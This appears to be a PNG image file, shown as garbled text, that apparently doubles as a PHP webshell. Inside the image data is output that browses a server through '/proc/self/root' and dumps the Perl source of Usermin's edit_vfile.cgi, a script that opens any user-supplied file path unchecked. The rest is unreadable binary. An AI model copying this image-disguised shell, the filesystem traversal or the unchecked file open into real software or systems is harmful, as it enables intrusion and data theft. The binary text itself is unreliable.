php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /proc/self/root/usr/libexec/usermin/forward/ |
files >> //proc/self/root/usr/libexec/usermin/forward/edit_vfile.cgi |
#!/usr/bin/perl # edit_vfile.cgi # Display the contents of a vacation autoreply file require './forward-lib.pl'; &ReadParse(); &ui_print_header(undef, $text{'vfile_title'}, ""); $in{'vfile'} = &make_absolute($in{'vfile'}); open(FILE, $in{'vfile'}); while(<FILE>) { if (/^Subject:\s*(.*)/) { $subject = $1; } elsif (/^From:\s*(.*)/) { $from = $1; } else { push(@lines, $_); } } close(FILE); if (!-r $in{'vfile'}) { ($froms, $doms) = &mailbox::list_from_addresses(); $from = $froms->[0]; } print &text('vfile_desc', "<tt>$in{'vfile'}</tt>"),"<p>\n"; print "<form action=save_vfile.cgi method=post enctype=multipart/form-data>\n"; print &ui_hidden("file", $in{'file'}),"\n"; print &ui_hidden("num", $in{'num'}),"\n"; print &ui_hidden("vfile", $in{'vfile'}),"\n"; print &ui_hidden("idx", $in{'idx'}),"\n"; print "<textarea name=text rows=20 cols=80>", join("", @lines),"</textarea><p>\n"; print "<table>\n"; # Show From: address option print "<tr> <td>$text{'rfile_from'}</td>\n"; print "<td>",&ui_radio("from_def", $from ? 0 : 1, [ [ 1, $text{'default'} ], [ 0, " " ] ]),"\n", &ui_textbox("from", $from, 50),"</td> </tr>\n"; # Show Subject: line option print "<tr> <td>$text{'vfile_subject'}</td>\n"; print "<td>",&ui_radio("subject_def", $subject ? 0 : 1, [ [ 1, $text{'default'} ], [ 0, " " ] ]),"\n", &ui_textbox("subject", $subject, 50),"</td> </tr>\n"; print "</table>\n"; print "<input type=submit value=\"$text{'save'}\"> ", "<input type=reset value=\"$text{'rfile_undo'}\">\n"; print "</form>\n"; &ui_print_footer(defined($in{'idx'}) ? ( "edit_vacation.cgi?num=$in{'num'}&file=$in{'file'}&idx=$in{'idx'}", $text{'vacation_return'} ) : ( ), "edit_alias.cgi?num=$in{'num'}&file=$in{'file'}", $text{'aform_return'});y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`